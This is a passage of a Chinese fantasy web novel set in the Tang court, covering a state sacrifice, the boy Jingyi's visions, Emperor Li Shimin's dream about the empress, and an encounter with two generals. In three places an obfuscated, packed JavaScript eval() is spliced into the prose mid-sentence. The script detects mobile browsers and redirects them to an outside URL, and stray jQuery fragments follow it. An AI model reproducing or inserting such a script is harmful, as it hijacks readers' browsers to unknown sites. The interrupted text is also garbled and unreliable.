景颐回神,转头对他露出一个大大的笑容,小手兴奋地拽着他的衣袖,压低声音却难掩激动:“高明大兄,我看见啦!”
“看见什么了?”
“一个穿黑衣服、戴好多珠珠的伯伯,他对我点头啦!”景颐指着帝君消失的那片天空,比划着,“他还拿着好大好亮的本子,好多金线线飞进去……”
李承乾顺着他的手指望去,只见蓝天流云,空无一物。他心中猛地一跳。
他不是第一次察觉景颐弟弟的不同。西市食楼的蹊跷平息,还有耶耶娘娘偶尔看向这孩子时眼中那抹深思……
都让他隐隐觉得,这位寄居宫中的弟弟,绝非寻常贵戚孩童。
而此刻,在这举国最庄严的祭祀大典上,在这连他都感到心神震撼的乐声与威仪中,景颐却说,他看见了别人看不见的“人”,还得到了对方的颔首?
李承乾的背脊下意识挺得更直。他迅速环视四周,确认无人注意他们这边的低语,然后用力握了握景颐的手,声音压得极低,带着不容置疑的严肃:
“景颐,此话出去后,对任何人都不可再提,记住了吗?包括丽质和雉奴。”
景颐被太子哥哥前所未有的郑重语气震住了,懵懂地点点头。
李承乾深吸一口气,将目光重新投向祭坛。父皇正在焚表,火焰映照着衮冕,威严如神祇。
他的心跳却快了几分。景颐看见的会是什么?与这祭祀有关吗?与父皇近来眉宇间那抹深沉的忧思有关吗?
仪仗回銮。景颐被嬷嬷抱上舆驾时,忽然心有所感,猛地回头。
圜丘边缘,一株百年柏树的阴影下,不知何时立着一个青衣身
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17114022|195893||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
影。
风尘仆仆,肩头沾着未拂尽的夜露,面容在树影里有些模糊。唯有一双琉璃色的眼眸,隔着半个广场的距离,清晰地望了过来。
景颐眼睛瞬间瞪圆。
“师——”
他刚要喊出声,长琴竖起食指,轻轻抵在唇边。
嘘。
景颐立刻捂住嘴,眼里却迸出星辰般的光。他用力点头,用口型无声地说:“师——父——回——来——啦!”
长琴微微颔首。他的目光越过欢呼的孩子,投向渐行渐远的帝后仪仗,最终落在那片帝君降临过的虚空。
眸色深深,不知在想什么。
柏叶沙沙,将他的身影再次藏入阴影。
——
就在大帝身影即将完全消散、景颐惊喜地看到长琴的瞬间,长琴的灵台中,毫无征兆地响起一个平静无波、却又带着温和的声音,正是地官大帝:
“长琴。”
长琴身形微微一滞,随机于树下躬身一礼,神念回应:“清虚帝君。”
“嗯。” 那声音里透出些随意,随即语气转为长辈的关切与提醒,“胆子倒是不小。将这小娃娃独自留在这人间帝阙,你倒是放心。”
“有李唐天子气运庇护,皇后悉心照拂,更兼此地祭祀中正,龙脉安稳。”长琴的回应恭敬而坦诚,
“况颐儿灵性虽未稳,然赤子之心可感天地,留于此地,或比随我跋涉险地更为妥当。”
“……小麒麟方才瞧我,眼睛瞪得溜圆,倒是比你这小子小时候活泼。” 帝君的意念里似乎掠过一丝极淡的笑意,“他身上古木的气息淡了,你寻到调理之法了?”
“略有眉目。”长琴顿了顿,“《鸣岐谱》一线踪迹,指向洛阳。今日观此祭祀,乐舞中正平和,与地脉共鸣,或可佐证,此谱与调和人间礼乐秩序亦有关联。”
“哦?” 帝君的意念略作沉吟,“你倒是敏锐。也罢,此事既涉光阴,你自己把握分寸。只是长琴,人间因果最是缠绵,帝王家尤甚。你护他平安,亦莫要令他过早深陷其中。”
这已是极为直白的提点。
“长琴谨记。”他再次躬身,“多谢清虚帝君今日对颐儿的照拂。”
“举手之劳。此子灵秀,我看着也欢喜。” 声音渐如远去的风,只余最后一丝余音袅袅,“去吧,你徒弟在等你呢。改日得了空,带他来我府上坐坐,我那池子里养了几尾上古龙鲤,他应当爱看。”
“是。”
意念消散,天地间最后一点清光敛去,圜丘彻底恢复平静。
帝君已归位,长琴直起身,看向远处舆驾上正捂着嘴、眼睛亮晶晶朝这边猛看的小身影,又想起帝君最后那句龙鲤,嘴角几不可察地弯了一下。
——
是夜,凝云轩。
长琴洗净风尘,换回素净青衣。景颐像只树袋熊挂在他身上,叽叽喳喳说着他不在时所有的事:算盘、太常寺、祭祀、还有那个对他点头的黑衣服伯伯。
“师父,那个伯伯是谁呀?你认识吗?”
长琴替徒弟拆开发带,用木梳缓缓梳理他微卷的头发:“是地官大帝,掌赦罪考功。你应该唤一声清虚爷爷。”
“爷爷?”景颐想像了一下那个威严神邸被叫爷爷的样子,感觉有点神奇,“那他喜欢我吗?”
“喜欢。”长琴想起那句“我看着也欢喜”,语气柔和,“他说你比他认识的某个小时候很闷的小家伙活泼多了。”
“谁呀?”景颐好奇。
长琴没答,只是将梳子放下,点了点他的眉心:“他还说,改日若得空,带你去他府上看龙鲤。”
“哇!龙鲤!会发光会飞的那种吗?”
“嗯,上古异种,应是很美的。”
13. 第 13 章
当夜,立政殿。
李世民与长孙皇后听完太常卿关于“乐感天地,祭祀圆满”的禀报,刚让人退下,李承乾便求见。
少年太子行礼后,挥退了殿内所有侍从,走到父母面前,将今日观礼时景颐那句石破天惊的低语,原原本本,一字不落地复述了出来。
殿内烛火“噼啪”爆开一个灯花。
长孙皇后手中的茶盏轻轻搁在了案上。李世民负手立于地图前的身影,半晌未动。
“……孩儿已嘱咐景颐弟弟,不可再对旁人言。”李承乾说完,补充道,目光清澈而坚定,“孩儿以为,景颐弟弟……所见非虚。且此事,恐关乎甚大。”
李世民缓缓转过身,看着已然初具沉稳气度的长子,眼中情绪复杂,有凝重,有深思,也有一丝不易察觉的欣慰。
“高明,”他沉声道,“你做得很好。此事,到此为止,勿再深究,亦勿外传。景颐,他确是特别的。正因其特别,我们更需护他周全,如同爱护你青雀、丽质、雉奴等弟妹一般。你明白吗?”
“孩儿明白。”李承乾郑重应下。他明白,父皇这番话,是将一部分责任和秘密,交付给了他。这不仅是兄长的责任,更是储君的责任。
“去休息吧。”长孙皇后温声道,眼中满是慈爱与骄傲。
待李承乾退下,帝后二人相视无言。窗外的夏夜,似乎比往常更加深邃。
——
凝云轩里飘着淡淡的药草香。
长琴正在用邙山带回来的地脉藓泡水,给景颐擦洗午后玩闹时蹭破的膝盖。孩子乖乖坐着,小腿一晃一晃,眼睛却粘在师父带回来的那个粗布包袱上。
“师父,”他第无数次问,“邙山好不好玩呀?”
长琴拧干布巾,敷在微红的伤口上:“非是游玩之地。”
“那……有大妖怪吗?”
“有守洞之灵,形若巨蚓,见首不见尾。”
景颐“哇”了一声,脑子里浮现出一条比房子还大的蚯蚓,立刻又追问:“它咬人吗?师父跟它打架了没?”
“未打。”长琴将药膏细细涂匀,“为师弹了一曲《地载》,它听罢便沉入地脉深处,再无阻拦。”
孩子眼睛瞪得滚圆:“它喜欢听师父弹琴?” 在他心里,师父的琴声是世上最好的东西,连大蚯蚓都喜欢,简直再合理不过。
“或许。”长琴收好药罐,这才在景颐眼巴巴的注视下,解开那个灰扑扑的包袱。
里面没有金光闪闪的宝物。只有三样东西:一块巴掌大、布满蜂窝状孔洞的灰褐色石头,一卷用新竹简匆匆刻录的乐谱,还有个小陶罐,封着红泥,看不出里头是什么。
景颐先抓起那块石头。石头触手温润,沉甸甸的,凑近了听,竟有极其微弱的“嗡嗡”声,像是从很远的地底传来的回响。
“它会唱歌!”景颐惊奇道。
“此为响岩。”长琴接过石头,指尖在某个孔洞边缘轻轻一叩。那“嗡嗡”声立刻变得清晰了些,竟是几个断续、古朴的音阶。
“邙山古观遗址之下,地脉交汇处,有此石成林。万古以来,地脉每一次震颤、每一次灵潮起伏,都会在这石中留下回音。为师所寻的残谱律动,便烙印在其中一块响岩最深的孔窍里。”
他说的平静,景颐却听得心驰神往。他抱着石头,努力想象着地底石林随着大地呼吸轻轻鸣唱的画面。
“所以师父是把它的歌记下来了?”他指着那卷竹简。
“嗯。”长琴展开竹简,上面刻的并非寻常乐符,而是一些起伏的波纹状刻痕。
“此为地脉回响的形,需以特定灵力激发,方能转为音声。是《鸣岐谱》中,主安土、定脉的一章残篇。得之,对你稳定心神、梳理梦境有助益。”
景颐似懂非懂,只记住了这东西对颐儿好。他又好奇地指着小陶罐:“这里面是什么呀?”
长琴拍开红泥封口。一股清冽又湿润的草木气息弥散开来,罐底铺着些不起眼的、半透明的白色菌丝,其中混着几颗米粒大的、莹莹发光的孢子。
“是长在响岩旁的地光藓。”长琴拈起一颗发光的孢子,那微光在他指尖温柔亮着,“离了地脉滋养,光会渐弱。但它们能感应到特定韵律的波动。”
他抬眼看向徒弟,“比如,昨日祭祀时,天地间那股宏大的声音。”
景颐“啊”了一声,猛地想起什么,急切地说:“师父!昨天那个穿黑衣服、戴珠珠帘子的爷爷出现的时候,就有好大好亮的声音!金色的!像河一样从坛子流到天上去!”
他手舞足蹈地比划,试图描述那常人看不见的愿力光河与音纹。
长琴静静听着,琉璃色的眼眸里映着陶罐中孢子微弱的光。
“那是地官大帝履行神职,赦罪考功引发的天地共鸣。其律动之正、愿力之纯,确实罕见。”他顿了顿,看向景颐,“你所见的光河,便是那声音的形貌之一。”
景颐用力点头,忽然福至心灵,脱口而出:“师父,你要找的那个最厉害的主歌,是不是也藏在这样声音里面呀?”
长琴动作几不可察地一顿。
他重新封好陶罐,将响岩和竹简并排放在案上。窗外午后阳光斜照,尘埃在光柱中缓缓浮动。
“……或许。”他终于开口,声音比平时更轻,更像自言自语,
“《鸣岐谱》非死物。其核心篇章,传说能调和时间、梳理文明之弦。这样的力量,或许不会静卧荒山,而更可能与一个时代最蓬勃、最剧烈、最纯粹的律动共鸣。无论是祭祀时的天地交感,还是战争中的万民悲欢,抑或是,盛世将颓时的警世钟鸣。”
他最后一句话说得极轻,景颐没听清,只捕捉到共鸣、律动几个词。但他敏锐地感觉到师父此刻的情绪有些不同,不是难过,更像是一种,沉静的瞭望。
他放下石头,蹭到长琴身边,把小脑袋靠在师父胳膊上:“师父不怕。颐儿帮你一起找。我耳朵可灵了,下次再听到这种声音,一定告诉你!”
长琴垂下眼帘,看着他信赖明亮的眼睛,眼底那丝遥远的凝重渐渐化开。他伸手揉了揉景颐细软的头发:“好。”
恰在此时,院外传来熟悉的铃铛声和孩童笑语,是丽质带着李治,午后睡醒便寻过来了。
景颐立刻蹦起来,献宝似的捧起那块还在嗡鸣的响岩:“阿姊!雉奴!快看!我师父从地底下带回来的会唱歌的石头!”
三个小脑袋立刻凑到了一处。李治好奇地想舔,被丽质红着脸拦住。景颐学着师父的样子,煞有介事地叩击石孔,努力想让它“唱”得更响亮些。
长琴没有打扰他们。他拿起那卷刻着地脉回响波纹的竹简,走到廊下阴影处。
指尖抚过那些起伏的刻痕,灵力微吐。
一段低沉、厚重、仿佛来自大地肺腑深处的旋律,如暗流般缓缓淌出。
这旋律与昨日祭祀时那辉煌贯天的《云门》截然不同,却奇异地互补。
一个在上,沟通天地神祇;一个在下,安抚山川地脉。
若《鸣岐谱》完整,此二者或许本该和谐共鸣。
他抬眼,望向院中嬉闹的孩童。
长琴收起竹简,那低沉的地脉回响悄然隐去。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17114023|195893||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
他心中已隐约有了下一步的方向。这长安城,这正在走向极盛的王朝,本身或许就是寻找《鸣岐谱》核心篇章最关键的地方。
廊外,风穿过竹林,沙沙作响,恍若另一重轻柔的回音。
——
丽质最终也没让李治舔到那块响岩,小家伙瘪着嘴,眼看金豆子就要掉下来。
景颐眼珠一转,把石头塞给李治抱着,自己却从怀里掏出个更吸引人的玩意儿,是长琴带回来的小陶罐。
“看这个!更厉害!”他小心翼翼地打开一条缝,几颗米粒大的孢子滚到他掌心,在午后廊下的阴影里,发出柔和的、萤火虫似的微光。
“哇!”李治的眼泪瞬间收了回去,伸出小胖手指,想碰又不敢碰。
丽质也凑近了看,惊奇地问:“它会发光!是星星的种子吗?”
“才不是呢,”景颐得意地扬起小下巴,把师父的话努力加工成自己的版本,“这是长在地底下的小灯笼,靠听后土娘娘打呼噜发光!昨天那个黑衣爷爷来的时候,它们要是也在,肯定亮得像小太阳!”
他说着,把一颗孢子放在丽质手心里,又放一颗在李治肉乎乎的手背上。微光映着孩子细嫩的皮肤,暖暖的,并不烫手。李治咯咯笑起来,觉得手背痒痒的。
“它们现在为什么不那么亮呀?”丽质细声问。
“因为现在没有那种声音呀。”景颐理所当然地说,“师父说,要像昨天祭祀那样,好多人一起认真想事情,或者、或者哪里有好大好大的动静,它们才会特别亮。”
他想起师父说那种声音可能藏在战争、祭祀那些地方,心里有点模糊的概念,但又说不清。不过这不重要,重要的是现在它们会发光,而且朋友们都喜欢。
三个孩子头碰头,围着那几点微光,看了好一阵子。景颐忽然灵机一动,把孢子拢在一起,用手虚虚罩着,对丽质和李治神秘兮兮地说:“我们来许愿吧!对着小灯笼许愿,说不定后土娘娘能听见呢!”
丽质觉得有趣,点点头,闭上眼睛,小声说:“愿耶耶娘娘身体康健,愿大唐风调雨顺。” 她已经很有点小公主的模样了。
李治学姐姐,也用力闭紧眼,睫毛颤啊颤,憋了半天才说:“吃糖饼!” 他最诚实的愿望逗得景颐和丽质都笑了。
轮到景颐了。他看看掌心安静发光的孢子,又偷偷瞄了一眼廊下静坐抚琴的师父。师父垂着眼,好像没注意他们,但景颐知道,师父什么都能听见。
他凑近孢子,用只有自己和小灯笼能听见的气音,飞快地许愿:“后土娘娘,求你保佑师父快点找到会唱歌的谱子,保佑李叔叔不再做吓人的梦,保佑……嗯,保佑明天还有槐花冷淘吃!”
许完愿,他像完成了一件大事,长长舒了口气,把孢子小心地收回陶罐,重新封好。心里觉得踏实了不少,仿佛那几点微弱的光,真的把他的愿望带到很深很深的地底下去了。
夕阳把竹影拉得长长的。嬷嬷来催了几次,丽质才牵着一步三回头、还惦记着小灯笼的李治离开。
景颐把陶罐和响岩并排放在自己小床的枕头边,打算晚上看着它们睡觉。梦里或许能见到更亮的光,或者听见后土娘娘的呼噜声呢。
他爬上床时,听见廊下传来师父最后一个悠长的泛音,像晚风一样,轻轻拂过凝云轩的每一片竹叶。
今晚,一定会做个亮晶晶的、安稳的好梦。景颐这么想着,蜷进被子里,很快沉入了带着草木清香的睡乡。
他完全不知道,此刻在两仪殿的书房里,他的李叔叔正对着摊开的舆图和奏疏,眉头深锁。
14. 第 14 章
景颐枕边的地光藓孢子,那夜并未如他所愿,带来什么亮晶晶的美梦。
相反,它像一簇被无意间引入寂静深潭的微弱星火,映照出的,却是潭底沉睡已久的、属于另一个灵魂的沉重倒影。
是夜,李世民宿于立政殿。
连日来,祭祀大典的庄重、地官显圣的玄奇、太子复述神祇颔首时的郑重,以及白日与重臣推敲边镇改制细则的耗神……
诸多心绪与思虑沉甸甸地积在胸口。他拥着已熟睡的长孙皇后,鼻尖萦绕着她发间淡淡的、宁神的苏合香,却迟迟无法入眠。
窗外月色朦胧。他起身,披衣踱至外间,目光落在案头一枚景颐前日玩耍时落下的、温润的青玉环佩上。
那是长琴给孩子的小玩意儿,说是戴着安神。鬼使神差地,李世民将那玉环握入掌心。玉石触手生温,带着孩童干净的气息,竟让他紧绷的神经松懈了一刹。
就在这一刹松懈间,困意如潮水漫上。他回到床边,握着玉环躺下,很快沉入一片混沌的雾中。
不多时,李世民猛地惊醒,冷汗浸透中衣。
梦中的灰白、药味、观音婢阖眼前那温柔而了然的平静……
每一个细节都像冰锥凿进心口,他下意识收紧手臂,将枕边温暖鲜活的身体更深地拥入怀中,力道之大,让半梦半醒的长孙皇后轻轻“唔”了一声。
“二郎?”她睡意朦胧地转过身,指尖触及他冰凉的额头和狂乱的心跳,瞬间清醒,“又梦魇了?这次是……”
李世民将脸埋在她肩头,久久不语,只是手臂收得更紧。过了好半晌,他才沙哑开口,声音闷闷的:“无事……许是近来太累。睡吧。”
他无法说出口。那些关于气疾、操劳、早衰的破碎字眼,还有梦中孩子们惊慌的脸……每一个都让他喉头发紧。
他甚至无法像面对烽火长安的幻象时那样,带着帝王的决绝去审视、筹划。这是纯粹的、私人的恐惧,面对失去,他无能为力。
这一夜的后半段,他无意识地、一遍遍轻吻她的发顶,一直睁眼到天明。
次日,李世民眼下带着明显的青黑,但朝会上依旧条理清晰,只是目光偶尔会失焦片刻。午膳后,他屏退所有侍从,独自一人穿过重重宫苑,踏入了凝云轩。
长琴正在院中那丛特意移栽的翠竹旁。他面前摊着邙山带回的响岩和竹简,指尖虚悬其上,似在感应着什么。
景颐则蹲在几步外的小池塘边,全神贯注地用一根细竹枝教导一尾锦鲤如何跳出更完美的水花,嘴里还念念有词:“往上!扭腰!对!就是这样……哎呀笨死了!”
“仙长。”李世民的声音有些干涩。
长琴抬眸,琉璃色的目光在他脸上停顿一息,便了然。他并未起身,只微微颔首:“陛下气色不佳,心神动荡。”
李世民扯了扯嘴角,想挤出一个从容的笑,却失败了。他走到石桌对面坐下,双手无意识地握紧,又松开。几次欲言又止。
池塘边传来“噗通”一声,伴随着景颐的欢呼:“跳起来啦!哈哈哈!”
孩童无忧无虑的笑声像一道光,刺破了凝云轩内凝滞的沉重。李世民紧绷的肩膀几不可察地松了一分。
“我……”他终于开口,声音压得极低,带着一种罕见的、近乎迷茫的困惑,“昨夜,因接触景颐落下的佩饰而入梦。”
长琴静静听着,指尖在响岩粗糙的表面轻轻抚过。
“此次所见,非关战火,非关朝局。”李世民喉结滚动,每一个字都说得艰难,
“是……关于我的观音婢。我看见她,病体沉疴,日渐憔悴,终至……”他猛地顿住,深吸一口气,
“梦中尚有气疾、操劳、早衰等语萦绕。仙长,此梦可是……亦是溯梦所示的一种可能?”
最后几个字,几乎轻不可闻。这不再是询问国运的君主,而是一个害怕得到肯定答案的夫婿。
长琴沉默片刻。他能感觉到眼前这位人间帝王身上传来的、混杂着恐惧、悲伤与一丝渺茫希冀的复杂心绪,远比谈及安史之乱时更加汹涌而真实。
“陛下,”他缓缓道,“溯梦所映,多为与梦主气运深切交感之焦点,或过往,或未来可能之支流。皇后殿下与陛下休戚与共,自然在此列中。梦中所显之象,可视为一种基于当前脉络,若不加干预,可能延伸出的一种趋向。”
“可能延伸……”李世民咀嚼着这个词,眼中骤然迸发出一丝光,“也就是说,未必是定数?若能干预,或可避免?”
“天道之下,并无绝对定数。”长琴的声音平静无波,“然干预亦需顺势而为,不可强求。且……”
他看向李世民,目光澄澈,“陛下梦中所忧,具体为何?”
李世民张了张嘴,那些关于“少生子嗣”、“避免操劳”的话在舌尖滚了几滚,却怎么也吐不出来。
这完全背离了他自幼所受的教导和帝王的责任。多子多福,皇后贤德,管理后宫、延绵皇嗣乃是天经地义……
他该如何对一个方外之人,启齿自己内心这份自私的、甚至可能被视为不祥和软弱的祈愿?
就在这时。
“师父!李叔叔!”
景颐不知何时结束了教学,举着湿漉漉的、还沾着片鱼鳞的小手,炮弹一样冲了过来,被长琴伸手抵着他的额头,才没一头扎进长琴怀里。
他站定身子,扭头好奇地看着李世民:“李叔叔,你脸色好白哦,是不是生病啦?生病要吃药!很苦的那种!”
孩子纯真的问候和夸张的皱眉表情,像一阵不合时宜却恰到好处的微风,吹散了石桌边几乎凝固的沉重。
李世民看着景颐亮晶晶的、写满关切的眼睛,心中那点难以启齿的纠结,忽然就松动了些许。他勉强笑了笑:“我无碍。只是,有些事想不明白。”
“想不明白就问师父呀!”景颐理所当然地说,他踮脚拍了拍李世民的胳膊,一副我教你的小大人模样,“师父什么都懂!虽然有时候说话我听不懂,但肯定是对的!”
他眼珠一转,又神秘兮兮地压低声音:“李叔叔你是不是也做吓人的梦啦?我有时候也会!梦见被好多书追着跑,还会变成妖怪咬我!后来师父给我弹琴,就好多啦!你也让师父给你弹琴吧!”
童言稚语,却歪打正着。
李世民看着景颐,又看看神色平静的长琴,胸中那股郁结之气,忽然就散了。他面对的并非庙堂之上的谋臣,亦非需要维持帝王威仪的子民。
在这里,他或许可以暂时放下那些沉重的冠冕,只作为一个心有忧惧的凡人。
他深吸一口气,转向长琴,终于以一种更直白、也更像请教的口吻说道:“仙长,我梦中所见皇后之疾,似与长久劳心、体质耗损有关。依仙长之见,若欲调理养护,使其根基稳固,寿数绵长,除寻医问药、静心休养
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17114024|195893||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
外,可还有何需特别注意、或避免之处?”
他尽量说得委婉,但最后一句几,还是泄露了他最深层的忧虑。
长琴何等人物,如何听不出弦外之音。他目光在李世民紧绷的脸上停留一瞬,又掠过旁边正竖着耳朵好奇听着的景颐,眼中闪过一丝几不可察的了然,随即恢复平静。
“陛下。”他的目光似有意无意地扫过池塘里一株并蒂莲,
“天地生养万物,各依其性,各承其力。参天巨木,固然可期,幽兰弱质,亦有其美。养护之道,首在知止与顺性。知其所能承,不使过劳,顺其自然之态,不妄加催伐。于人而言,心神耗损、元气流散,皆为大忌。至于子嗣……”
他顿了顿,见李世民神色骤然紧张,才缓缓继续道:“乃天地人伦,自然之理。然,理虽自然,亦需根基稳固,方能瓜瓞绵绵,福泽绵长。若本元有亏,强求反损,非智者所为。顺其时节,培本固原,待根基厚实,则水到渠成,方是长久之计。”
这番话,说得玄之又玄,既未直言少生,却又句句指向养护根本、不妄催伐、顺其自然。既符合天道自然的道理,又巧妙地避开了直接挑战世俗礼法的尖锐。
李世民听懂了。他紧绷的心弦,在这一刻,终于缓缓松开。长琴没有给他一个确切的是或否,却给了他一个可以遵循的、更高层次的道理。他可以依此道理,去说服自己,也更有底气去安排一切。
“我……明白了。”他长长舒出一口气,仿佛卸下了千斤重担,眉宇间的郁色散去了大半,“多谢仙长指点。”
“指点不敢当。”长琴淡然道,“不过是些浅见。陛下若欲调理,或可先从饮食、起居、心境入手。太医院中,当有擅长调理养护之良医。”
“我省得。”李世民点头,心中已有了盘算。太医院固然要用,或许还可暗中寻访些民间的妇科圣手、养生大家。无论如何,方向已然清晰。
“师父!”景颐等了半天,见大人说完了听不懂的话,立刻插嘴,举着还湿着的小手,“你们说完啦?那李叔叔还听不听琴啦?我帮你求师父!师父弹琴最好听了!”
李世民看着孩子热情洋溢的脸,失笑摇头,心中的阴霾彻底被这童真驱散。他伸手,想摸摸景颐的头,看到他手上的水渍和疑似鱼鳞的东西,又默默收了回来。
“今日便不听琴了。”他站起身,对长琴郑重一揖,“改日再来叨扰仙长。”
离开凝云轩时,夏日的阳光洒在身上,竟有了几分暖意。他回头望去,只见景颐正踮着脚,试图把沾了鱼鳞的手往长琴袖子上蹭,被长琴用一根手指抵着额头推开,小家伙不依不饶,咯咯笑着又扑上去。
寻常的、生机勃勃的喧闹。
李世民笑了笑,转身,步伐稳健地走向立政殿。
他有了新的、必须赢下的战场。这一次,不是为了江山,而是为了那个曾与他共患难、如今更需他悉心呵护的人。
而在他身后,长琴制住了捣乱的徒弟,目光若有所思地望向李世民离去的方向。
帝王的命星轨迹,似乎因一段个人情感的强烈介入,而产生了极其细微的偏转。这种偏转是好是坏,会引发何种连锁,犹未可知。
他低头,对上景颐懵懂好奇的眼睛。
“师父,李叔叔是不是不害怕啦?”
“或许。”长琴轻轻弹了下他的额头,“去洗手。”
“哦。”
15. 第 15 章
长琴回到凝云轩,已近一月。时值八月,秋老虎的余威尚存,但早晚的风已带上凉意。
邙山带回的地脉回响,需以特殊韵律每日温养激发,方能稳固转化为可用的安流乐章。
故而每日晨昏,凝云轩内便会流淌出低沉浑厚、迥异于《九霄环佩》清越之音的曲调。
景颐听了几日,便宣称这调子“像后土娘娘打呼噜,听着好睡”,常在那旋律里蜷成一团,睡得小脸通红。
这一个月里,景颐的日子过得充实无比。白日在宫中与丽质、李治嬉戏,偶尔被李世民叫去考问些简单的字句,或听些开国故事。傍晚便回凝云轩,听师父抚琴,或是摆弄那些地光藓孢子和嗡嗡作响的响岩。
日子似乎恢复了以往的节奏。
只是立政殿往凝云轩送的点心里,悄然多了几味药膳糕点,模样精巧,气味却带着淡淡参茸甘香。
长孙皇后亲自来过两次,气色红润,笑容温婉,只字不提陛下异常的关怀,只与长琴品茶,看孩子们嬉戏,临行前总会柔声对景颐道:“景颐要听师父话,莫要贪凉。”
李世民再来时,眉宇间那抹因梦境而生的惊惶已沉淀为一种更深沉的专注。
他与长琴对坐,话题偶尔会从《鸣岐谱》、边镇改制,延伸到些养生导引的皮毛,间或提及太医署新呈上的几道温补方子“似有可取之处”。
长琴多数时静听,偶尔言及“固本培元,阴阳相济”之理,目光掠过庭院里追着一只碧眼波斯猫上蹿下跳的景颐,意有所指:“有时,顺其天性,反是养护之道。”
陛下颔首,深以为然。
这日午后,景颐刚被师父按着临完三篇字,便如蒙大赦,揣着丽质托人新送的九连环,巡逻般溜出了凝云轩。
他如今在宫里已是熟面孔,侍卫嬷嬷见他独自在划定范围内活动,大多含笑目送,只远远跟着。
他今日的目标是去看看算盘做得怎么样了。
自从那日他画了那歪歪扭扭的图,又被长孙皇后吩咐“试试看”之后,这事儿仿佛就没了下文。
但他记得,前几日隐约听见两个路过的户部小官低声议论,说什么“梁国公督促”“奇巧之物”“尚未得其法”,便惦记上了。
他熟门熟路往户部官署所在的皇城东南区域溜达,心里盘算着能不能“巧遇”那两个曾被他指点过的书吏。
刚绕过一处存放仪仗的库房拐角,差点迎面撞上两堵“铁塔”。
景颐“哎呀”一声,急刹住脚,抬头一看。
只见两位身着常服、却难掩彪悍之气的大汉正并肩走来。
一人面色黝黑,虬髯如戟,虎目生光。
另一人面容清癯些,三缕长髯,目光沉静锐利。
正是鄂国公尉迟敬德与卫国公李靖。
景颐眼睛一亮,他记得这两人!
那天在山上,就是他们护在李叔叔身前,还对师父拔过刀,虽然后来被师父吓住了。
这几个月他多在宫内苑囿玩耍,李世民也有意让重臣与他保持距离,以免多生事端,是以竟是入宫后头一回这般近碰上。
“是你们!”景颐指着他们,声音清脆。
尉迟敬德与李靖自然也记得这个小贵人。见他突然冒出,俱是一怔,随即停下脚步。
尉迟敬德浓眉一挑,哈哈笑道:“某当是谁,原是景颐小郎君。这般急匆匆,要往何处去?”
李靖则微微颔首,算是见礼,目光在景颐身上一扫,见他衣着整齐,独自一人却无慌色,心中暗忖这孩子胆子倒是不小。
景颐不答反问,乌溜溜的眼珠在尉迟敬德脸上那部威风凛凛的大胡子上转了转,满是好奇:“尉迟将军,你的胡子好威风!打仗的时候,敌人会不会想揪它?”
“噗——”尉迟敬德身后的亲兵没忍住,笑出了声,被另一人一瞪,连忙憋住。
尉迟敬德自己也是乐了,铜铃大眼一瞪,故意板起脸,手却得意地捋了捋胡子:“嘿!小郎君,某这胡子可是宝贝!敌人见了先惧三分!真要有那不长眼的敌人,某就……”
他做了个挥刀的手势,“咔嚓!给他削平咯!”
景颐被他夸张的动作逗得咯咯笑,觉得这个黑脸将军有趣,胆子更大了。他又转向李靖,歪着头打量。
这个将军看起来就严肃多了,不像会讲故事的样子。景颐想起听来的零碎故事,努力组织语言:
“李将军,我听说你特别会跑……不是,是带兵跑得又快又远,去打坏人!那你害怕吗?我有时候晚上一个人,会有点怕黑。带那么多兵,是不是就不怕了?”
李靖没料到孩子会问这个,目光微动,严肃的面容柔和了些许:“为将者,并非不知惧怕。然心中有比惧怕更重要之事,身后家园,麾下将士。念及此,便可一往无前。”
景颐似懂非懂地“哦”了一声,小脑袋瓜里把家园将士自动替换成了李叔叔、大姐姐、师父,还有丽质阿姊他们。他觉得这个道理他能明白一点点。
接着,他想起昨天在御花园看到的蚂蚁大战,觉得这和打仗有点像,便兴致勃勃地分享起来:
“将军将军,我昨天看到蚂蚁打架了!可凶了!赢的那群把输的那窝的洞都占了,还把它们的粮食搬光光!输的小蚂蚁在洞口饿得直转圈,好可怜……”
他小脸皱成一团,是真的为蚂蚁难过,随即抬起头,带着纯粹的困惑,“人打仗……赢了也会这样吗?那输了的人家里的小娃娃,是不是也没饭吃,没地方住了?他们也会哭吗?”
这稚嫩却无比直白的问题,像一颗小小的石子,投入两位名将深不见底的心湖。
尉迟敬德脸上的豪迈笑容瞬间凝固了。李靖抚须的手停在半空,那总是沉稳如深潭的眼眸里,清晰地掠过一抹沉重的痛色。
他们都是尸山血海里趟过来的人,见过真正的饿殍遍野,稚子哀啼,那景象远比蚂蚁搬家残酷千万倍。
这孩童无心的话语,却精准地撕开了胜利凯歌之下,最鲜血淋漓、也最令人无言的疮疤。
四周的空气仿佛都沉了沉。
